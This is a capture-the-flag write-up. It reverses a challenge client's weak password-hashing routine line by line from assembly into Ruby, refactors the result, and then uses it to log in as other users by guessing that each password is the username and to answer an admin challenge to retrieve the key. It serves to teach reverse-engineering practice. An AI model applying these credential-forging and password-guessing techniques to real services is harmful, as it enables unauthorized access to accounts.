All right.. time for some reversing! I open up the client program in IDA, and go straight to the Strings tab (Shift-F12). I immediately see "Enter message :" so I double click it and end up here:
.rodata:080490F5 ; char aEnterMessage[]
.rodata:080490F5 aEnterMessage   db 'Enter message : ',0 ; DATA XREF: main+178o
.rodata:08049106 aHackTheWorld   db 'hack the world',0Ah,0 ; DATA XREF: main+1A7o
.rodata:08049116 ; char aNope_[]
.rodata:08049116 aNope___S       db 'nope...%s',0Ah,0    ; DATA XREF: main+1CAo
Could it really be that easy?
The answer, for a change, is yes:
$ ./client 52.74.123.29
Socket created
Enter message : hack the world
<< connection ID: nuc EW1A IQr^2&


*** Welcome to the ACME data retrieval service ***
what version is your client?

<< hello...who is this?
<<

<< enter user password

<< hello grumpy, what would you like to do?
<<

<< grumpy
mrvito
gynophage
selir
jymbolia
sirgoon
duchess
deadwood
hello grumpy, what would you like to do?

<< the key is not accessible from this account. your administrator has been notified.
<<
hello grumpy, what would you like to do?
Then it just sits there.
I logged the traffic with Wireshark and it looks like this (blue = incoming, red = outgoing, or you can just download my pcap):
connection ID: Je@/b9~A>Xa'R-


*** Welcome to the ACME data retrieval service ***
what version is your client?
version 3.11.54
hello...who is this?grumpy

enter user password
H0L31
hello grumpy, what would you like to do?
list users
grumpy
mrvito
gynophage
selir
jymbolia
sirgoon
duchess
deadwood
hello grumpy, what would you like to do?
print key
the key is not accessible from this account. your administrator has been notified.
hello grumpy, what would you like to do?

Connection IDs and passwords

I surmised, based on this, that the connection id was probably random (it looks random) and that the password is probably hashed (poorly) and not replay-able (that'd be too easy). Therefore, the password is probably based on the connection id.
To verify the first part, I ran a capture a second time:
connection ID: #2^1}P>JAqbsaj
[...]
hello...who is this?
grumpy
enter user password
V/%S:
Yup, it's different!
I did some quick digging in IDA and found a function - sub_8048EAB - that was called with "grumpy" and "1" as parameters, as well as a buffer that would be sent to the server. It looked like it did some arithmetic on "grumpy" - which is presumably a password, and it touched a global variable - byte_804BC70 - that, when I investigated, turned out to be the connection id. The function was called from a second place, too, but we'll get to that later!
So now we've found a function that looks at the password and the connection id. That sounds like the hashing function to me (and note that I'm using the word "hashing" in its literal sense, it's obviously not a secure hash)! I could have used a debugger to verify that it was actually returning a hashed password, but the clock was ticking and I had to make some assumptions in order to keep moving - if the the assumptions turned out to be wrong, I wouldn't have finished the level, but I wouldn't have finished it either if I verified everything.
I wasn't entirely sure what had to be done from here, but it seemed logical to me that reverse engineering the password-hashing function was something I'd eventually have to do. So I got to work, figuring it couldn't hurt!

Reversing the hashing function

There are lots of ways to reverse engineer a function. Frequently, I take a higher level view of what libc/win32 functions it calls, but sub_8048EAB doesn't call any functions. Sometimes I'll try to understand the code, mentally, but I'm not super great at that. So I used a variation of this tried-and-true approach I often use for crypto code:
  1. Reverse each line of assembly to exactly one line of C
  2. Test it against the real version, preferably instrumented so I can automatically ensure that it's working properly
  3. While the output of my code is different from the output of their code, use a debugger (on the binary) and printf statements (on your implementation) to figure out where the problem is - this usually takes the most of my time, because there are usually several mistakes
  4. With the testing code still in place, simplify the C function as much as you can
Because I only had about an hour to reverse this, I had to cut corners. I reversed it to Ruby instead of C (so I wouldn't have to deal with sockets in C), I didn't set up proper instrumentation and instead used Wireshark, and I didn't simplify anything till afterwards. In the end, I'm not sure whether this was faster or slower than doing it "right", but it worked so I can't really complain.

Version 1

As I said, the first thing I do is translate the code directly, line by line, to assembly. I had to be a little creative with loops and pointers because I can't just use goto and cast everything to an integer like I would in C, but this is what it looked like. Note that I've fixed all the bugs that were in the original version - there were a bunch, but it didn't occur to me to keep the buggy code - I did, however, leave in the printf-style statements I used for debugging!
# mode = 1 for passwords, 7 for keys
def hash_password(password, connection_id, mode)
# mov     eax, [ebp+password]
  eax = password

# mov     [ebp+var_2C], eax
  var_2c = eax

# mov     eax, [ebp+buffer]
  eax = ""

# mov     [ebp+var_30], eax
  var_30 = ""

# xor     eax, eax
  eax = 0

# mov     ecx, ds:g_connection_id_plus_7 ; 0x0000007d, but changes
  ecx = connection_id[7]
  #puts('%x' % ecx.ord)

# mov     edx, 55555556h
  edx = 0x55555556
# mov     eax, ecx
  eax = ecx
# imul    edx
  #puts("imul")
  #puts("%x" % eax.ord)
  #puts("%x" % edx)
  edx = ((eax.ord * edx) >> 32)
  #puts("%x" % edx)
# mov     eax, ecx
  eax = ecx
# sar     eax, 1Fh
  #puts("sar")
  #puts("%x" % eax.ord)
  eax = eax.ord >> 0x1F
  #puts("%x" % eax)
# mov     ebx, edx
  ebx = edx
# sub     ebx, eax
  ebx -= eax
  #puts("sub")
  #puts("%x" % ebx)
# mov     eax, ebx
  eax = ebx
# mov     [ebp+var_18], eax
  var_18 = eax
# mov     edx, [ebp+var_18]
  edx = var_18
# mov     eax, edx
  eax = edx
# add     eax, eax
  eax = eax * 2
# add     eax, edx
  eax = eax + edx

  #puts("")
  #puts("%x" % eax)
# mov     edx, ecx
  edx = ecx
# sub     edx, eax
  #puts()
  #puts("%x" % ecx.ord)
  #puts("%x" % edx.ord)
  edx = edx.ord - eax
  #puts("%x" % edx)
# mov     eax, edx
  eax = edx
# mov     [ebp+var_18], eax
  var_18 = eax
  #puts()
  #puts("%x" % var_18)
# mov     eax, dword_804B04C
  eax = mode
# add     [ebp+var_18], eax
  var_18 += eax
  #puts("%x" % eax)
# mov     edx, offset g_connection_id ; <--
  edx = connection_id
# mov     eax, [ebp+var_18]
  eax = var_18
# add     eax, edx
# mov     dword ptr [esp+8], 5 ; n
# mov     [esp+4], eax    ; src
# lea     eax, [ebp+dest]
# mov     [esp], eax      ; dest
# call    _strncpy
  dest = connection_id[var_18, 5]
  #puts(dest)
# mov     [ebp+var_1C], 0
  var_1c = 0

# jmp     short loc_8048F4A
# loc_8048F2A:                            ; CODE XREF: do_password+A3j
  0.upto(4) do |var_1c|
#   mov     eax, [ebp+var_1C]
    eax = var_1c
#   add     eax, [ebp+var_30]
    # XXX
#   lea     edx, [ebp+dest]
    edx = dest

#   add     edx, [ebp+var_1C]
#   movzx   ecx, byte ptr [edx]
    ecx = edx[var_1c]
#   mov     edx, [ebp+var_1C]
    edx = var_1c

#   add     edx, [ebp+var_2C]
#   movzx   edx, byte ptr [edx]
    edx = var_2c[var_1c]

#   xor     edx, ecx
    edx = edx.ord ^ ecx.ord
#   mov     [eax], dl
    edx &= 0x0FF
    var_30[var_1c] = (edx & 0x0FF).chr

#   add     [ebp+var_1C], 1
#
#   loc_8048F4A:                            ; CODE XREF: do_password+7Dj
#   cmp     [ebp+var_1C], 4
#   jle     short loc_8048F2A
  end

  #puts()

  return var_30
end
After I got it working and returning the same value as the real implementation, I had a problem! The value I returned - even though it matched the real program - wasn't quite right! It had a few binary characters in it, whereas the value sent across the network never did. I looked around and found the function - sub_8048F67 - that actually sends the password to the server. It turns out, that function replaces all the low- and high-ASCII characters with proper ones (the added lines are in bold):
# mode = 1 for passwords, 7 for keys
def hash_password(password, connection_id, mode)
# mov     eax, [ebp+password]
  eax = password

# mov     [ebp+var_2C], eax
  var_2c = eax

# mov     eax, [ebp+buffer]
  eax = ""

# mov     [ebp+var_30], eax
  var_30 = ""

# xor     eax, eax
  eax = 0

# mov     ecx, ds:g_connection_id_plus_7 ; 0x0000007d, but changes
  ecx = connection_id[7]
  #puts('%x' % ecx.ord)

# mov     edx, 55555556h
  edx = 0x55555556
# mov     eax, ecx
  eax = ecx
# imul    edx
  #puts("imul")
  #puts("%x" % eax.ord)
  #puts("%x" % edx)
  edx = ((eax.ord * edx) >> 32)
  #puts("%x" % edx)
# mov     eax, ecx
  eax = ecx
# sar     eax, 1Fh
  #puts("sar")
  #puts("%x" % eax.ord)
  eax = eax.ord >> 0x1F
  #puts("%x" % eax)
# mov     ebx, edx
  ebx = edx
# sub     ebx, eax
  ebx -= eax
  #puts("sub")
  #puts("%x" % ebx)
# mov     eax, ebx
  eax = ebx
# mov     [ebp+var_18], eax
  var_18 = eax
# mov     edx, [ebp+var_18]
  edx = var_18
# mov     eax, edx
  eax = edx
# add     eax, eax
  eax = eax * 2
# add     eax, edx
  eax = eax + edx

  #puts("")
  #puts("%x" % eax)
# mov     edx, ecx
  edx = ecx
# sub     edx, eax
  #puts()
  #puts("%x" % ecx.ord)
  #puts("%x" % edx.ord)
  edx = edx.ord - eax
  #puts("%x" % edx)
# mov     eax, edx
  eax = edx
# mov     [ebp+var_18], eax
  var_18 = eax
  #puts()
  #puts("%x" % var_18)
# mov     eax, dword_804B04C
  eax = mode
# add     [ebp+var_18], eax
  var_18 += eax
  #puts("%x" % eax)
# mov     edx, offset g_connection_id ; <--
  edx = connection_id
# mov     eax, [ebp+var_18]
  eax = var_18
# add     eax, edx
# mov     dword ptr [esp+8], 5 ; n
# mov     [esp+4], eax    ; src
# lea     eax, [ebp+dest]
# mov     [esp], eax      ; dest
# call    _strncpy
  dest = connection_id[var_18, 5]
  #puts(dest)
# mov     [ebp+var_1C], 0
  var_1c = 0

# jmp     short loc_8048F4A
# loc_8048F2A:                            ; CODE XREF: do_password+A3j
  0.upto(4) do |var_1c|
#   mov     eax, [ebp+var_1C]
    eax = var_1c
#   add     eax, [ebp+var_30]
    # XXX
#   lea     edx, [ebp+dest]
    edx = dest

#   add     edx, [ebp+var_1C]
#   movzx   ecx, byte ptr [edx]
    ecx = edx[var_1c]
#   mov     edx, [ebp+var_1C]
    edx = var_1c

#   add     edx, [ebp+var_2C]
#   movzx   edx, byte ptr [edx]
    edx = var_2c[var_1c]

#   xor     edx, ecx
    edx = edx.ord ^ ecx.ord
#   mov     [eax], dl
    edx &= 0x0FF

    #puts("before edx = %x" % edx)
    if(edx < 0x1f)
      #puts("a")
      edx += 0x20
    elsif(edx > 0x7F)
      edx = edx - 0x7E + 0x20
    end
    #puts("after edx = %x" % edx)

    var_30[var_1c] = (edx & 0x0FF).chr

#   add     [ebp+var_1C], 1
#
#   loc_8048F4A:                            ; CODE XREF: do_password+7Dj
#   cmp     [ebp+var_1C], 4
#   jle     short loc_8048F2A
  end

  #puts()

  return var_30
end
As you can see, it's quite long and difficult to follow. But, now that the bugs were fixed, it was outputting the same thing as the real version! I set it up to log in with the username 'grumpy' and the password 'grumpy' and it worked great!

Cleaning it up

I didn't actually clean up the code until after the competition, but here's the step-by-step cleanup that I did, just so I could blog about it.
First, I removed all the comments:
def hash_password_phase2(password, connection_id, mode)
  eax = password
  var_2c = eax
  eax = ""
  var_30 = ""
  eax = 0
  ecx = connection_id[7]
  edx = 0x55555556
  eax = ecx
  edx = ((eax.ord * edx) >> 32)
  eax = ecx
  eax = eax.ord >> 0x1F
  ebx = edx
  ebx -= eax
  eax = ebx
  var_18 = eax
  edx = var_18
  eax = edx
  eax = eax * 2
  eax = eax + edx

  edx = ecx
  edx = edx.ord - eax
  eax = edx
  var_18 = eax
  eax = mode
  var_18 += eax
  edx = connection_id
  eax = var_18
  dest = connection_id[var_18, 5]
  var_1c = 0

  0.upto(4) do |var_1c|
    eax = var_1c
    edx = dest
    ecx = edx[var_1c]
    edx = var_1c
    edx = var_2c[var_1c]
    edx = edx.ord ^ ecx.ord
    edx &= 0x0FF
    if(edx < 0x1f)
      edx += 0x20
    elsif(edx > 0x7F)
      edx = edx - 0x7E + 0x20
    end
    var_30[var_1c] = (edx & 0x0FF).chr
  end
  return var_30
end
Then I started eliminating redundant statements:
def hash_password_phase3(password, connection_id, mode)
  ecx = connection_id[7]
  eax = ecx
  edx = ((eax.ord * 0x55555556) >> 32)
  eax = ecx
  eax = eax.ord >> 0x1F
  eax = ((edx - (eax.ord >> 0x1F)) * 2) + edx

  edx = ecx
  edx = edx.ord - eax
  eax = edx
  var_18 = eax
  var_18 += mode
  edx = connection_id
  eax = var_18
  dest = connection_id[var_18, 5]

  result = ""
  0.upto(4) do |i|
    eax = i
    edx = dest
    ecx = edx[i]
    edx = password[i]
    edx = edx.ord ^ ecx.ord
    edx &= 0x0FF
    if(edx < 0x1f)
      edx += 0x20
    elsif(edx > 0x7F)
      edx = edx - 0x7E + 0x20
    end
    result << (edx & 0x0FF).chr
  end

  return result
end
Removed some more redundancy:
def hash_password_phase4(password, connection_id, mode)
  char_7 = connection_id[7].ord
  edx = ((char_7 * 0x55555556) >> 32)
  eax = ((edx - (char_7 >> 0x1F >> 0x1F)) * 2) + edx

  result = ""
  0.upto(4) do |i|
    edx = (password[i].ord ^ connection_id[char_7 - eax + mode + i].ord) & 0xFF

    if(edx < 0x1f)
      edx += 0x20
    elsif(edx > 0x7F)
      edx = edx - 0x7E + 0x20
    end
    result << (edx & 0x0FF).chr
  end

  return result
end
And a final cleanup pass where I eliminated the "bad paths" - things that I know can't possibly happen:
def hash_password_phase5(password, connection_id, mode)
  char_7 = connection_id[7].ord

  result = ""
  0.upto(4) do |i|
    edx = password[i].ord ^ connection_id[i + char_7 - (((char_7 * 0x55555556) >> 32) * 3) + mode].ord
    if(edx < 0x1f)
      edx += 0x20
    elsif(edx > 0x7F)
      edx = edx - 0x7E + 0x20
    end
    result << edx.chr
  end

  return result
end

And that's the final product! Remember, at each step of the way I was testing and re-testing to make sure it worked for a few dozen test strings. That's important because it's really, really easy to miss stuff.

The rest of the level

Now, getting back to the level...
As we saw above, after logging in, the real client sends "list users" then "print key". "print key" fails because the user doesn't have administrative rights, so presumably one of the users printed out on the "list users" page does.
I went through and manually entered each user into the program, with the same username as password (seemed like the thing to do, since grumpy's password was "grumpy") until I reached the user "duchess". When I tried "duchess", I got the prompt:
challenge: /\&[$
answer?
When I was initially reversing the password hashing, I noticed that the hash_password() function was called a second time near the strings "challenge:" and "answer?"! The difference was that instead of passing the integer 1 as the mode, it passed 7. So I tried calling hash_password('/\&[$', connection_id, 7) and got the response, "<=}-^".
I sent that, and the key came back! Here's the full session:
connection ID: Tk8)k)e3a[vzN^


*** Welcome to the ACME data retrieval service ***
what version is your client?
version 3.11.54
hello...who is this?
duchess
enter user password
/MJ#L
hello duchess, what would you like to do?
print key
challenge: /\&[$
answer?
<=}-^
the key is: The only easy day was yesterday. 44564
I submitted the key with literally three minutes to go. I was never really sure if I was doing the right thing at each step of the way, but it worked!

An alternate solution

If I'd had the presence of mind to realize that the username would always be the password, there's another obvious solution to the problem that probably would have been a whole lot easier.
The string "grumpy" (as both the username and the password) is only read in three different places in the binary. It would have been fairly trivial to:
  1. Find a place in the binary where there's some room (right on top of the old "grumpy" would be fine)
  2. Put the string "duchess" in this location (and the other potential usernames if you don't yet know which one has administrative access)
  3. Patch the three references to "grumpy" to point to the new string instead of the old one - unfortunately, using a new location instead of just overwriting the strings is necessary because "duchess" is longer than "grumpy" so there's no room
  4. Run the program and let it get the key itself
That would have been quicker and easier, but I wasn't confident enough that the usernames and passwords would be the same, and I didn't want to risk going down the wrong path with almost no time left, so I decided against trying that.

Conclusion

This wasn't the most exciting level I've ever done, but it was quick and gave me the opportunity to do some mildly interesting reverse engineering.
The main idea was to show off my process - translate line by line, instrument it, debug till it works, then refactor and reduce and clean up the code!